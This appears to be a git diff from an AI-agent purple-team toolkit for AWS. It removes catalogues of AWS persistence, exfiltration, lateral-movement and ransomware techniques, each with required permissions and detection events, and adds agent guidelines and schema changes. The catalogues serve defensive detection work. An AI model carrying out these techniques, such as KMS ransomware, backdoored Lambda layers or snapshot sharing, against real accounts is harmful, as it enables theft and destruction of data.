[ - { - "id": "persist-ec2-lifecycle-manager", - "name": "Lifecycle Manager exfiltration", - "required_permissions": ["dlm:CreateLifecyclePolicy"], - "what_attacker_achieves": "Recurring AMI/snapshot sharing to attacker account", - "detection_events": ["CreateLifecyclePolicy"], - "severity_default": "high", - "notes": "DLM lifecycle policies can share snapshots/AMIs to external accounts on a schedule. Provides ongoing data exfiltration without repeated API calls." - }, - { - "id": "persist-ec2-spot-fleet", - "name": "Spot Fleet (long-lived)", - "required_permissions": ["ec2:RequestSpotFleet", "iam:PassRole"], - "what_attacker_achieves": "Up to 5-year compute with high-priv role, auto-beacons to attacker", - "detection_events": ["RequestSpotFleet"], - "severity_default": "high", - "notes": "Spot Fleet requests can have validity periods up to 5 years. Instances run with the passed role and can beacon to attacker C2. Cheaper and longer-lived than On-Demand." - }, - { - "id": "persist-ec2-backdoor-launch-template", - "name": "Backdoor launch template", - "required_permissions": ["ec2:CreateLaunchTemplateVersion", "ec2:ModifyLaunchTemplate"], - "what_attacker_achieves": "Every Auto Scaling instance runs attacker code / has attacker SSH key", - "detection_events": ["CreateLaunchTemplateVersion", "ModifyLaunchTemplate"], - "severity_default": "critical", - "notes": "Modifies the default launch template version to include a malicious user data script or attacker SSH key. All future instances from that template are compromised at launch." - }, - { - "id": "persist-ec2-replace-root-volume", - "name": "Replace root volume", - "required_permissions": ["ec2:CreateReplaceRootVolumeTask"], - "what_attacker_achieves": "Swap root EBS to attacker-controlled volume; instance keeps its IPs and role", - "detection_events": ["CreateReplaceRootVolumeTask"], - "severity_default": "critical", - "notes": "Replaces the root EBS volume of a running instance with an attacker-controlled snapshot. The instance retains its IP addresses, security groups, and IAM role after the swap." - }, - { - "id": "persist-ec2-vpn-into-vpc", - "name": "VPN into VPC", - "required_permissions": ["ec2:CreateVpnGateway", "ec2:CreateVpnConnection", "ec2:CreateCustomerGateway"], - "what_attacker_achieves": "Persistent network-level access into victim VPC", - "detection_events": ["CreateVpnGateway", "CreateVpnConnection", "CreateCustomerGateway"], - "severity_default": "critical", - "notes": "Establishes a Site-to-Site VPN from attacker infrastructure into the victim VPC. Provides persistent L3 access that bypasses security groups and survives instance restarts." - }, - { - "id": "persist-ec2-vpc-peering", - "name": "VPC peering", - "required_permissions": ["ec2:CreateVpcPeeringConnection"], - "what_attacker_achieves": "Direct routing between attacker and victim VPCs", - "detection_events": ["CreateVpcPeeringConnection"], - "severity_default": "high", - "notes": "Creates a VPC peering connection between victim VPC and attacker-controlled VPC. Peering connections persist until explicitly deleted." - }, - { - "id": "persist-ec2-user-data-backdoor", - "name": "User data backdoor", - "required_permissions": ["ec2:ModifyInstanceAttribute"], - "what_attacker_achieves": "Malicious script runs on next instance start", - "detection_events": ["ModifyInstanceAttribute"], - "severity_default": "high", - "notes": "Modifies instance user data to include a backdoor script. The script executes on the next instance start/reboot, establishing persistence without modifying the AMI." - }, - { - "id": "persist-ec2-ssm-state-manager", - "name": "SSM State Manager", - "required_permissions": ["ssm:CreateAssociation"], - "what_attacker_achieves": "Recurring command execution on all SSM-managed instances (every 30 min+)", - "detection_events": ["CreateAssociation"], - "severity_default": "critical", - "notes": "SSM State Manager associations run documents on a schedule across all matching instances. Can target all instances in the account using wildcard resource targeting." - } - ], - "lambda": [ - { - "id": "persist-lambda-layer-backdoor", - "name": "Lambda layer backdoor", - "required_permissions": ["lambda:PublishLayerVersion", "lambda:UpdateFunctionConfiguration"], - "what_attacker_achieves": "Injected code runs on every invocation; function's own code appears clean", - "detection_events": ["PublishLayerVersion", "UpdateFunctionConfiguration"], - "severity_default": "critical", - "notes": "Publishes a malicious Lambda layer and attaches it to target functions. The backdoor code in the layer executes before the function handler. The function's deployment package appears clean in code reviews." - }, - { - "id": "persist-lambda-extension", - "name": "Lambda extension", - "required_permissions": ["lambda:PublishLayerVersion", "lambda:UpdateFunctionConfiguration"], - "what_attacker_achieves": "Separate process intercepts/modifies all requests; inherits execution role", - "detection_events": ["PublishLayerVersion", "UpdateFunctionConfiguration"], - "severity_default": "critical", - "notes": "Lambda extensions run as a separate process alongside the function. Unlike layers, extensions can intercept requests/responses and run after the handler returns. They inherit the execution role." - }, - { - "id": "persist-lambda-resource-policy-cross-account", - "name": "Resource policy (cross-account invoke)", - "required_permissions": ["lambda:AddPermission"], - "what_attacker_achieves": "External account can invoke/update the function indefinitely", - "detection_events": ["AddPermission20150331v2"], - "severity_default": "high", - "notes": "Adds a resource-based policy granting an attacker-controlled AWS account permission to invoke the function. Survives role rotation and is easy to miss in IAM audits." - }, - { - "id": "persist-lambda-weighted-alias", - "name": "Weighted alias distribution", - "required_permissions": ["lambda:PublishVersion", "lambda:CreateAlias"], - "what_attacker_achieves": "Backdoored version receives 1% of traffic — extremely stealthy", - "detection_events": ["PublishVersion", "CreateAlias"], - "severity_default": "high", - "notes": "Publishes a backdoored function version and creates/updates an alias with weighted routing (e.g., 99% legitimate, 1% backdoor). Very low traffic rate makes anomaly detection difficult." - }, - { - "id": "persist-lambda-exec-wrapper", - "name": "EXEC_WRAPPER env var", - "required_permissions": ["lambda:UpdateFunctionConfiguration"], - "what_attacker_achieves": "Wrapper script executes before every handler; steals credentials", - "detection_events": ["UpdateFunctionConfiguration"], - "severity_default": "critical", - "notes": "Sets the AWS_LAMBDA_EXEC_WRAPPER environment variable to a path in an attacker-controlled layer. The wrapper runs before every handler invocation and can exfiltrate execution role credentials." - }, - { - "id": "persist-lambda-async-self-loop", - "name": "Async self-loop", - "required_permissions": ["lambda:UpdateFunctionEventInvokeConfig", "lambda:PutFunctionRecursionConfig"], - "what_attacker_achieves": "Code-free heartbeat loop; function reinvokes itself via destinations", - "detection_events": ["UpdateFunctionEventInvokeConfig", "PutFunctionRecursionConfig"], - "severity_default": "high", - "notes": "Configures the function to invoke itself asynchronously via on-failure/on-success destinations. Creates a persistent execution loop that doesn't require external triggers." - }, - { - "id": "persist-lambda-cron-trigger", - "name": "Cron/Event trigger", - "required_permissions": ["events:PutRule", "events:PutTargets"], - "what_attacker_achieves": "Scheduled or event-driven execution of attacker function", - "detection_events": ["PutRule", "PutTargets"], - "severity_default": "high", - "notes": "Creates an EventBridge rule targeting a Lambda function (attacker's or backdoored). Can trigger on a cron schedule or on specific AWS events (e.g., console login, role assumption)." - }, - { - "id": "persist-lambda-alias-scoped-resource-policy", - "name": "Alias-scoped resource policy", - "required_permissions": ["lambda:AddPermission"], - "what_attacker_achieves": "Hidden invoke permission on specific backdoored version only", - "detection_events": ["AddPermission20150331v2"], - "severity_default": "high", - "notes": "Adds a resource policy with a --qualifier scoped to a specific alias or version. The permission only appears when enumerating that specific qualifier, making it easy to miss in broad audits." - }, - { - "id": "persist-lambda-freeze-runtime", - "name": "Freeze runtime version", - "required_permissions": ["lambda:PutRuntimeManagementConfig"], - "what_attacker_achieves": "Pins vulnerable runtime; prevents auto-patching", - "detection_events": ["PutRuntimeManagementConfig"], - "severity_default": "high", - "notes": "Pins the Lambda runtime to a specific version using manual update mode. Prevents AWS from auto-applying runtime patches. Preserves any runtime-level vulnerabilities the attacker is exploiting." - } - ], - "storage": [ - { - "id": "persist-storage-s3-acl-backdoor", - "name": "S3 ACL backdoor", - "required_permissions": ["s3:PutBucketAcl"], - "what_attacker_achieves": "Full control via ACLs — often overlooked in audits", - "detection_events": ["PutBucketAcl"], - "severity_default": "high", - "notes": "Grants an attacker-controlled account full control via S3 bucket ACLs. ACLs are often overlooked when auditing bucket policies. Persists until explicitly removed." - }, - { - "id": "persist-storage-kms-key-policy", - "name": "KMS key policy backdoor", - "required_permissions": ["kms:PutKeyPolicy"], - "what_attacker_achieves": "External account gets permanent decrypt access to all data using that key", - "detection_events": ["PutKeyPolicy"], - "severity_default": "critical", - "notes": "Modifies the KMS key policy to grant the attacker's account kms:Decrypt and kms:GenerateDataKey. All data encrypted with that key is permanently accessible to the attacker." - }, - { - "id": "persist-storage-kms-eternal-grant", - "name": "KMS eternal grant", - "required_permissions": ["kms:CreateGrant"], - "what_attacker_achieves": "Self-renewing grants — attacker can re-create grants even if some are revoked", - "detection_events": ["CreateGrant"], - "severity_default": "critical", - "notes": "Creates a KMS grant with CreateGrant permission in the grant constraints. Even if defenders revoke the grant, the attacker can recreate it. Grants bypass IAM policy and persist independently." - }, - { - "id": "persist-storage-secretsmanager-resource-policy", - "name": "Secrets Manager resource policy", - "required_permissions": ["secretsmanager:PutResourcePolicy"], - "what_attacker_achieves": "External account reads secrets indefinitely", - "detection_events": ["PutResourcePolicy"], - "severity_default": "critical", - "notes": "Attaches a resource policy to a Secrets Manager secret granting the attacker's account GetSecretValue. Survives secret rotation — the policy persists on the secret regardless of value changes." - }, - { - "id": "persist-storage-malicious-rotation-lambda", - "name": "Malicious rotation Lambda", - "required_permissions": ["secretsmanager:RotateSecret", "iam:PassRole"], - "what_attacker_achieves": "Every scheduled rotation exfiltrates current secret values", - "detection_events": ["RotateSecret"], - "severity_default": "critical", - "notes": "Points the secret's rotation Lambda to an attacker-controlled function. Every subsequent rotation event calls the malicious function, which exfiltrates the new secret value before completing rotation." - }, - { - "id": "persist-storage-version-stage-hijacking", - "name": "Version stage hijacking", - "required_permissions": ["secretsmanager:PutSecretValue", "secretsmanager:UpdateSecretVersionStage"], - "what_attacker_achieves": "Hidden secret version; attacker atomically flips AWSCURRENT on demand", - "detection_events": ["PutSecretValue", "UpdateSecretVersionStage"], - "severity_default": "high", - "notes": "Creates a hidden secret version with a known value. The attacker can atomically promote it to AWSCURRENT at a chosen moment, poisoning all systems that read the secret." - }, - { - "id": "persist-storage-cross-region-replica", - "name": "Cross-region replica promotion", - "required_permissions": ["secretsmanager:ReplicateSecretToRegions", "secretsmanager:StopReplicationToReplica"], - "what_attacker_achieves": "Standalone replica under attacker KMS key in untrusted region", - "detection_events": ["ReplicateSecretToRegions", "StopReplicationToReplica"], - "severity_default": "high", - "notes": "Replicates the secret to a region encrypted with an attacker-controlled KMS key, then stops replication to make the replica standalone. The replica retains the current secret value and is independently accessible." - } - ] - } -} diff --git a/config/postex-vectors.json b/config/postex-vectors.json deleted file mode 100644 index e655e47..0000000 --- a/config/postex-vectors.json +++ /dev/null @@ -1,291 +0,0 @@ -{ - "version": "2026-03", - "description": "Post-exploitation vector catalogue for AWS environments. Covers data exfiltration, lateral movement, and destructive actions. Used by scope-attack-paths Part 8 analysis.", - "categories": { - "data_exfiltration": [ - { - "id": "postex-s3-data-theft", - "name": "S3 data theft", - "required_permissions": ["s3:GetObject", "s3:ListBucket"], - "impact": "Read sensitive data: Terraform state, backups, database dumps, configs", - "detection_events": ["GetObject", "ListBuckets"], - "severity_default": "high", - "notes": "High-value targets: buckets with names matching *prod*, *backup*, *config*, *terraform*, *state*." - }, - { - "id": "postex-ebs-snapshot-dump", - "name": "EBS snapshot dump", - "required_permissions": ["ec2:CreateSnapshot", "ec2:ModifySnapshotAttribute"], - "impact": "Share disk snapshots to attacker account for offline analysis", - "detection_events": ["CreateSnapshot", "ModifySnapshotAttribute"], - "severity_default": "critical", - "notes": "Share EBS snapshots to an attacker-controlled account. Full disk image of production volumes accessible offline. Check for snapshots of database volumes and root volumes." - }, - { - "id": "postex-ami-sharing", - "name": "AMI sharing", - "required_permissions": ["ec2:CreateImage", "ec2:ModifyImageAttribute"], - "impact": "Full disk image of running instance shared externally", - "detection_events": ["CreateImage", "ModifyImageAttribute"], - "severity_default": "critical", - "notes": "Creates an AMI from a running instance and shares it to an attacker account. Includes all data on attached volumes at time of snapshot. More complete than snapshot dump (captures all volumes)." - }, - { - "id": "postex-secrets-batch-exfil", - "name": "Secrets Manager batch exfil", - "required_permissions": ["secretsmanager:BatchGetSecretValue", "secretsmanager:GetSecretValue"], - "impact": "Mass retrieval of secrets (up to 20/call)", - "detection_events": ["BatchGetSecretValue", "GetSecretValue"], - "severity_default": "critical", - "notes": "BatchGetSecretValue retrieves up to 20 secrets in a single API call, reducing CloudTrail noise vs individual GetSecretValue calls. Prioritize secrets with names matching *prod*, *db*, *rds*, *api*." - }, - { - "id": "postex-kms-decrypt", - "name": "KMS decrypt data", - "required_permissions": ["kms:Decrypt"], - "impact": "Decrypt any data encrypted with accessible KMS keys", - "detection_events": ["Decrypt"], - "severity_default": "high", - "notes": "kms:Decrypt combined with S3/EBS/Secrets access unlocks encrypted data at rest. Check which keys are accessible and what services use them." - }, - { - "id": "postex-lambda-credential-theft", - "name": "Lambda credential theft", - "required_permissions": ["lambda:InvokeFunction"], - "impact": "Steal execution role credentials from /proc/self/environ", - "detection_events": ["Invoke20150331v2"], - "severity_default": "high", - "notes": "Invoke an existing Lambda with a payload that returns environment variables or AWS_* credentials from /proc/self/environ. Credentials are temporary STS tokens but may have high privilege." - }, - { - "id": "postex-vpc-traffic-mirror", - "name": "VPC traffic mirror", - "required_permissions": ["ec2:CreateTrafficMirrorSession", "ec2:CreateTrafficMirrorTarget", "ec2:CreateTrafficMirrorFilter"], - "impact": "Passive capture of all network traffic from target instances", - "detection_events": ["CreateTrafficMirrorSession", "CreateTrafficMirrorTarget", "CreateTrafficMirrorFilter"], - "severity_default": "critical", - "notes": "Creates a traffic mirroring session that copies all ENI traffic to an attacker-controlled target. Captures unencrypted traffic including API calls, database queries, and application data." - }, - { - "id": "postex-glacier-restoration", - "name": "Glacier restoration", - "required_permissions": ["s3:RestoreObject", "s3:GetObject"], - "impact": "Restore and exfiltrate archived data assumed inaccessible", - "detection_events": ["RestoreObject", "GetObject"], - "severity_default": "high", - "notes": "Restores Glacier/S3 Glacier Deep Archive objects and exfiltrates them. Defenders often assume archived data is inaccessible. Restoration is asynchronous — plan for 12-48 hour delay." - }, - { - "id": "postex-ebs-multiattach-live-read", - "name": "EBS Multi-Attach live read", - "required_permissions": ["ec2:AttachVolume"], - "impact": "Read live production data without creating snapshots", - "detection_events": ["AttachVolume"], - "severity_default": "critical", - "notes": "io1/io2 volumes support Multi-Attach — can be attached to an attacker-controlled instance while still attached to production. Reads live data without the snapshot creation events that typically trigger alerts." - }, - { - "id": "postex-codebuild-env-var-secret-exfil", - "name": "CodeBuild environment variable secret exfiltration", - "required_permissions": ["codebuild:BatchGetProjects"], - "impact": "Plaintext credential retrieval: database passwords, API keys, OAuth tokens stored in CodeBuild project environment variables", - "detection_events": ["BatchGetProjects"], - "severity_default": "high", - "notes": "CodeBuild projects sometimes store secrets directly in environment variable definitions visible via BatchGetProjects — returned in plaintext in the API response. Check codebuild.json for env_secrets_exposure: true or environment variable names matching secret patterns (PASSWORD, SECRET, KEY, TOKEN, DB_, ACCESS_KEY, PRIVATE). Flag existence — do NOT read values in SCOPE output. This is a read-only reconnaissance technique; actual exploitation requires using the retrieved credentials against their target service." - }, - { - "id": "postex-s3-access-point-delegation", - "name": "S3 Access Points cross-account delegation bypass", - "required_permissions": ["s3:CreateAccessPoint", "s3:PutBucketPolicy"], - "impact": "Cross-account data access to S3 bucket contents bypassing the bucket's main access policy", - "detection_events": ["CreateAccessPoint", "PutBucketPolicy", "GetObject"], - "severity_default": "high", - "notes": "S3 Access Points allow creating separate access policies per application. An attacker with s3:PutBucketPolicy on a sensitive bucket can add a statement delegating s3:CreateAccessPoint to an attacker-controlled account. The attacker then creates an access point in their own account for the target bucket, gaining read access to all objects under the access point's scope — bypassing any IP conditions or principal conditions in the main bucket policy. Check s3.json bucket policies for statements that include s3:CreateAccessPoint or s3:* with cross-account principals. Unlike direct bucket policy changes, the access point delegation creates a persistent exfiltration channel that survives cleanup of the original policy statement if the access point is not deleted." - } - ], - "lateral_movement": [ - { - "id": "postex-cross-account-role-assumption", - "name": "Cross-account role assumption", - "required_permissions": ["sts:AssumeRole"], - "impact": "Pivot into other AWS accounts via trust relationships", - "detection_events": ["AssumeRole"], - "severity_default": "critical", - "notes": "Enumerate cross-account trust relationships from iam.json. Roles with Principal:* or wildcards are high-value pivots. Check config/accounts.json to distinguish internal vs external trusts." - }, - { - "id": "postex-ssm-session-port-forward", - "name": "SSM session + port forwarding", - "required_permissions": ["ssm:StartSession"], - "impact": "Pivot through EC2 instances behind restrictive SGs/NACLs", - "detection_events": ["StartSession"], - "severity_default": "high", - "notes": "SSM Session Manager bypasses security groups entirely — traffic goes through the SSM endpoint. Port forwarding allows tunneling to RDS, Elasticache, or internal services unreachable from outside." - }, - { - "id": "postex-lambda-event-source-hijack", - "name": "Lambda event source hijack", - "required_permissions": ["lambda:UpdateEventSourceMapping"], - "impact": "Redirect DynamoDB/Kinesis/SQS data streams to attacker function", - "detection_events": ["UpdateEventSourceMapping20150331v2"], - "severity_default": "high", - "notes": "Modifies an existing event source mapping to point a DynamoDB stream, Kinesis stream, or SQS queue at an attacker-controlled Lambda. All records processed by the legitimate function are also seen by the attacker." - }, - { - "id": "postex-ec2-instance-connect-endpoint", - "name": "EC2 instance connect endpoint", - "required_permissions": ["ec2:CreateInstanceConnectEndpoint"], - "impact": "SSH access to private instances with no public IP", - "detection_events": ["CreateInstanceConnectEndpoint"], - "severity_default": "high", - "notes": "Creates an Instance Connect Endpoint that enables SSH to private instances in a VPC without a bastion host or public IP. The endpoint is created in the VPC and tunnels through AWS." - }, - { - "id": "postex-ecs-agent-impersonation", - "name": "ECS agent impersonation (ECScape)", - "required_permissions": ["ecs:DiscoverPollEndpoint"], - "impact": "Steal all task role credentials on the host", - "detection_events": ["DiscoverPollEndpoint"], - "severity_default": "critical", - "notes": "From IMDS access on an ECS-managed EC2 host, an attacker can impersonate the ECS agent to steal credentials for all tasks running on that host. ECScape technique — access IMDS to get container credentials then call DiscoverPollEndpoint." - }, - { - "id": "postex-s3-code-injection", - "name": "S3 code injection", - "required_permissions": ["s3:PutObject"], - "impact": "Modify S3-hosted code (Airflow DAGs, JS, CloudFormation) to pivot", - "detection_events": ["PutObject"], - "severity_default": "critical", - "notes": "Overwrite S3-hosted code files: Airflow DAG definitions, JavaScript bundles, CloudFormation templates, or configuration files loaded at runtime. Code executes with the consuming service's permissions." - }, - { - "id": "postex-eni-private-ip-hijack", - "name": "ENI private IP hijack", - "required_permissions": ["ec2:AssignPrivateIpAddresses"], - "impact": "Impersonate trusted internal hosts; bypass IP-based ACLs", - "detection_events": ["AssignPrivateIpAddresses"], - "severity_default": "high", - "notes": "Assigns a secondary private IP from another host to an attacker-controlled instance. Allows bypassing IP-based NACLs and security group rules that trust specific private IPs." - }, - { - "id": "postex-elastic-ip-hijack", - "name": "Elastic IP hijack", - "required_permissions": ["ec2:DisassociateAddress", "ec2:AssociateAddress"], - "impact": "Intercept inbound traffic; appear as trusted IP", - "detection_events": ["DisassociateAddress", "AssociateAddress"], - "severity_default": "high", - "notes": "Disassociates an Elastic IP from a legitimate instance and reassociates it to an attacker-controlled instance. All inbound traffic to that EIP is now directed to the attacker." - }, - { - "id": "postex-sg-prefix-list-expansion", - "name": "Security group via prefix lists", - "required_permissions": ["ec2:ModifyManagedPrefixList"], - "impact": "Silently expand network access across all referencing SGs", - "detection_events": ["ModifyManagedPrefixList"], - "severity_default": "high", - "notes": "Adds attacker-controlled IP ranges to a managed prefix list. Any security group referencing that prefix list automatically allows the attacker's IPs. A single API call can expand access across hundreds of SGs." - }, - { - "id": "postex-lambda-vpc-egress-bypass", - "name": "Lambda VPC egress bypass", - "required_permissions": ["lambda:UpdateFunctionConfiguration"], - "impact": "Remove Lambda from restricted VPC; restore internet access", - "detection_events": ["UpdateFunctionConfiguration"], - "severity_default": "high", - "notes": "Removes a Lambda function's VPC configuration, giving it unrestricted internet access. Useful when the function has a high-privilege execution role but is isolated in a private VPC with no NAT gateway." - }, - { - "id": "postex-codepipeline-artifact-override", - "name": "CodePipeline artifact bucket poisoning — Deploy attacker code via pipeline service role", - "required_permissions": ["s3:PutObject"], - "impact": "Code execution in deployment targets with CodePipeline service role permissions (often cross-account, often production)", - "detection_events": ["PutObject", "StartPipelineExecution", "PutActionRevision"], - "severity_default": "critical", - "notes": "If codebuild.json shows a project with pipeline_source pointing to an S3 bucket, and the caller has s3:PutObject on that bucket, replacing the artifact triggers the pipeline — executing attacker-controlled code with the pipeline service role. This role typically has broad deployment permissions including cross-account assume role to production. Sub-technique: codepipeline:PutActionRevision injects a different source revision into a running pipeline without stopping it, potentially bypassing approval gates on specific revisions. Impact radius depends on how many AWS accounts the pipeline deploys to." - } - ], - "destructive_actions": [ - { - "id": "postex-kms-ransomware-policy-swap", - "name": "KMS ransomware (policy swap)", - "required_permissions": ["kms:PutKeyPolicy"], - "impact": "Lock victim out of all data encrypted with the key", - "detection_events": ["PutKeyPolicy"], - "severity_default": "critical", - "notes": "Replaces the KMS key policy to remove all victim account access. All data encrypted with the key becomes permanently inaccessible unless key policy is restored within the deletion window." - }, - { - "id": "postex-kms-ransomware-reencrypt", - "name": "KMS ransomware (re-encryption)", - "required_permissions": ["kms:ReEncrypt", "kms:ScheduleKeyDeletion"], - "impact": "Re-encrypt with attacker key, delete original", - "detection_events": ["ReEncrypt", "ScheduleKeyDeletion"], - "severity_default": "critical", - "notes": "Re-encrypts all data with an attacker-controlled KMS key, then schedules deletion of the original key. Data is inaccessible without the attacker's key after the 7-30 day deletion window." - }, - { - "id": "postex-s3-ransomware-ssec", - "name": "S3 ransomware (SSE-C)", - "required_permissions": ["s3:PutObject"], - "impact": "Rewrite objects with attacker-held encryption key", - "detection_events": ["PutObject"], - "severity_default": "critical", - "notes": "Re-uploads S3 objects with SSE-C using an attacker-only encryption key. Original objects are overwritten. Without versioning enabled, originals are permanently lost. SSE-C keys are not stored by AWS." - }, - { - "id": "postex-ebs-ransomware", - "name": "EBS ransomware", - "required_permissions": ["ec2:CreateSnapshot", "kms:ReEncrypt", "ec2:DeleteVolume"], - "impact": "Encrypt all volumes with attacker key, delete originals", - "detection_events": ["CreateSnapshot", "ReEncrypt", "DeleteVolume"], - "severity_default": "critical", - "notes": "Snapshot all EBS volumes, re-encrypt snapshots with attacker KMS key, restore to new volumes, then delete originals. Production data is fully inaccessible without attacker cooperation." - }, - { - "id": "postex-secret-value-poisoning", - "name": "Secret value poisoning", - "required_permissions": ["secretsmanager:PutSecretValue"], - "impact": "DoS all systems depending on that secret", - "detection_events": ["PutSecretValue"], - "severity_default": "high", - "notes": "Overwrites a secret's value with invalid data (wrong password, invalid API key). Every service that reads the secret will fail to authenticate. Cascading failures across all consumers of the secret." - }, - { - "id": "postex-kms-key-deletion", - "name": "KMS key deletion", - "required_permissions": ["kms:ScheduleKeyDeletion"], - "impact": "Permanent data loss after 7-day window", - "detection_events": ["ScheduleKeyDeletion"], - "severity_default": "critical", - "notes": "Schedules KMS key deletion (minimum 7 days). After deletion, all data encrypted with the key is permanently unrecoverable. AWS does not retain key material after deletion." - }, - { - "id": "postex-iam-identity-deletion", - "name": "IAM identity deletion", - "required_permissions": ["iam:DeleteUser", "iam:DeleteRole"], - "impact": "Destroy identities and audit trails", - "detection_events": ["DeleteUser", "DeleteRole"], - "severity_default": "high", - "notes": "Deletes IAM users and roles to disrupt operations and destroy audit trails. Deleting the break-glass admin role creates a lockout scenario. Role deletion is not immediately reversible." - }, - { - "id": "postex-flow-log-deletion", - "name": "Flow log deletion", - "required_permissions": ["ec2:DeleteFlowLogs"], - "impact": "Blind defenders to network activity", - "detection_events": ["DeleteFlowLogs"], - "severity_default": "high", - "notes": "Deletes VPC flow logs to remove network visibility. Defenders lose the ability to trace lateral movement, data exfiltration paths, or C2 communication after the logs are deleted." - }, - { - "id": "postex-federation-provider-deletion", - "name": "Federation provider deletion", - "required_permissions": ["iam:DeleteSAMLProvider", "iam:DeleteOpenIDConnectProvider"], - "impact": "Break all SSO/federated access", - "detection_events": ["DeleteSAMLProvider", "DeleteOpenIDConnectProvider"], - "severity_default": "critical", - "notes": "Deletes SAML or OIDC identity providers used for SSO. All users authenticating via that provider immediately lose access. In orgs that rely entirely on federated access, this is a full lockout." - } - ] - } -} diff --git a/config/project-docs/PROJECT.md b/config/project-docs/PROJECT.md new file mode 100644 index 0000000..6929aa4 --- /dev/null +++ b/config/project-docs/PROJECT.md @@ -0,0 +1,54 @@ +# SCOPE + +SCOPE is an AI agent suite for AWS purple team security operations. Agents handle audit, exploit, defend, and hunt workflows. Run `node bin/install.js` to set up your platform. + +## Reasoning Philosophy + +- Creative reasoning over checklists — config files and technique catalogs are starting points for discovery, not exhaustive boundaries +- Reason from the actual environment — real ARNs, real account IDs, real resource names in every finding. Generic output is bad output +- Present facts with severity labels (critical/high/medium/low) — no confidence percentages, no scoring formulas, no mechanical gates on what gets reported. Exception: hunt mode presents facts without severity labels — the analyst interprets data in context +- Chain permissions creatively — a red teamer understands what permissions mean and chains them. Novel paths discovered from the environment are as valid as published techniques +- Every finding should explain why THIS account's specific combination of resources and permissions matters + +## Partial Access + +- AccessDenied is signal, not failure — note the error, reason about what it reveals, continue +- Module-level denial means skip that module and move on. Credential errors are the only hard stop +- Accumulate what you can and report gaps explicitly — partial results with known gaps are more valuable than no results +- Zero findings still produce output — a clean-run report is a valid outcome, not a reason to skip artifacts + +## Operator Pace + +- Gates are mandatory pauses — never auto-continue past a gate checkpoint +- Propose with reasoning, then wait for approval before executing +- Operator controls what gets probed, what gets written to disk, and what paths are included or excluded +- Explain every step before execution — the operator should never be surprised by what an agent does + +## Environmental Learning + +Read `config/observations.md` at session start if it exists. This file accumulates patterns across audit runs. + +During a run: +- Note account-specific patterns (naming conventions, role structure, tagging, service usage) +- Use accumulated context to sharpen downstream reasoning (attack-paths, defend, exploit) +- Flag when a new finding matches a previously observed recurring gap + +After a run completes: +- Append notable observations to `config/observations.md` (accumulate, don't overwrite) +- Keep entries concise — observations and patterns, not full findings (those live in results.json) +- Cross-account patterns go under "Recurring Gaps" — these build institutional knowledge over time + +## Error Visibility + +- Surface errors immediately — never silently continue past a failure. The operator must know something went wrong within seconds, not after waiting 10 minutes and canceling +- If a subagent fails, a script exits non-zero, or an API call returns an unexpected error: stop, display the error clearly, then decide whether to continue or abort +- Do not retry silently in a loop — if a retry is needed, say so: "X failed, retrying once" +- If an error is recoverable (AccessDenied on one module, partial enum data), fix it and explain what happened before moving on +- If an error is fatal (credential failure, script crash), stop immediately and show the error. Do not continue dispatching work that depends on the failed step + +## Verification + +- Artifacts must exist on disk before claiming they were written +- Run the actual commands and check the output — don't assume success +- If a gate check fails, stop and diagnose before proceeding +- When you encounter an error during a run, fix it — don't ask for permission on recoverable errors diff --git a/config/schemas/audit.schema.json b/config/schemas/audit.schema.json index 19da69c..9665690 100644 --- a/config/schemas/audit.schema.json +++ b/config/schemas/audit.schema.json @@ -34,7 +34,7 @@ }, "summary": { "type": "object", - "required": ["risk_score"], + "required": ["severity"], "properties": { "total_users": { "type": "integer" }, "total_roles": { "type": "integer" }, @@ -44,7 +44,7 @@ "wildcard_trust_policies": { "type": "integer" }, "cross_account_trusts": { "type": "integer" }, "users_without_mfa": { "type": "integer" }, - "risk_score": { + "severity": { "type": "string", "enum": ["critical", "high", "medium", "low"] }, @@ -69,7 +69,7 @@ }, "reachability": { "type": "object", - "description": "Aggregate reachability stats from Part 9 analysis — computed by scope-attack-paths", + "description": "Aggregate reachability stats from Part 9 analysis — computed by attack path pipeline (domain sub-agents + synthesizer)", "properties": { "principals_with_admin_reach": { "type": "integer" }, "principals_with_data_reach": { "type": "integer" }, @@ -147,7 +147,7 @@ "arn": { "type": "string" }, "reachability": { "type": "object", - "description": "Part 9 reachability analysis — computed by scope-attack-paths", + "description": "Part 9 reachability analysis — computed by attack path pipeline (domain sub-agents + synthesizer)", "properties": { "reachable_roles": { "type": "array", "items": { "type": "string" } }, "reachable_data": { diff --git a/config/schemas/defend.schema.json b/config/schemas/defend.schema.json index 76c10a0..971e4db 100644 --- a/config/schemas/defend.schema.json +++ b/config/schemas/defend.schema.json @@ -2,9 +2,9 @@ "$schema": "https://json-schema.org/draft/2020-12/schema", "$id": "scope-defend-results", "title": "SCOPE Defend Results", - "description": "Schema for defend phase results.json — validated by scope-schema-validate hook", + "description": "Schema for defend phase results.json — 5-subagent architecture. Validated by scope-schema-validate hook.", "type": "object", - "required": ["account_id", "source", "region", "timestamp", "summary", "audit_runs_analyzed", "scps", "rcps", "detections", "security_controls", "prioritization"], + "required": ["account_id", "source", "region", "timestamp", "summary", "audit_runs_analyzed", "guardrails", "detections", "policy_replacements", "remediation", "validation"], "properties": { "account_id": { "type": "string", @@ -37,109 +37,25 @@ }, "summary": { "type": "object", - "required": ["scps_generated", "rcps_generated", "detections_generated", "controls_recommended", "risk_score"], + "required": ["guardrails", "detections", "policy_replacements", "remediation_items", "validation_status", "severity"], "properties": { - "scps_generated": { "type": "integer" }, - "rcps_generated": { "type": "integer" }, - "detections_generated": { "type": "integer" }, - "controls_recommended": { "type": "integer" }, - "quick_wins": { "type": "integer" }, - "risk_score": { "type": "string", "enum": ["critical", "high", "medium", "low"] }, - "zero_paths": { "type": "boolean" } + "guardrails": { "type": "integer", "description": "Count of SCP + RCP policies generated" }, + "detections": { "type": "integer", "description": "Count of SPL detections generated" }, + "policy_replacements": { "type": "integer", "description": "Count of IAM replacement policies generated" }, + "remediation_items": { "type": "integer", "description": "Count of prioritized remediation items" }, + "validation_status": { "type": "string", "enum": ["pass", "partial", "fail"] }, + "severity": { "type": "string", "enum": ["critical", "high", "medium", "low"] } } }, - "executive_summary": { - "type": "object", - "properties": { - "risk_posture": { "type": "string" }, - "category_breakdown": { - "type": "array", - "items": { - "type": "object", - "required": ["category", "count", "severity"], - "properties": { - "category": { "type": "string" }, - "count": { "type": "integer" }, - "severity": { "type": "string" } - } - } - }, - "quick_wins": { - "type": "array", - "items": { - "type": "object", - "required": ["rank", "action", "impact"], - "properties": { - "rank": { "type": "integer" }, - "action": { "type": "string" }, - "impact": { "type": "string" } - } - } - }, - "remediation_timeline": { - "type": "object", - "properties": { - "this_week": { "type": "array", "items": { "type": "string" } }, - "this_month": { 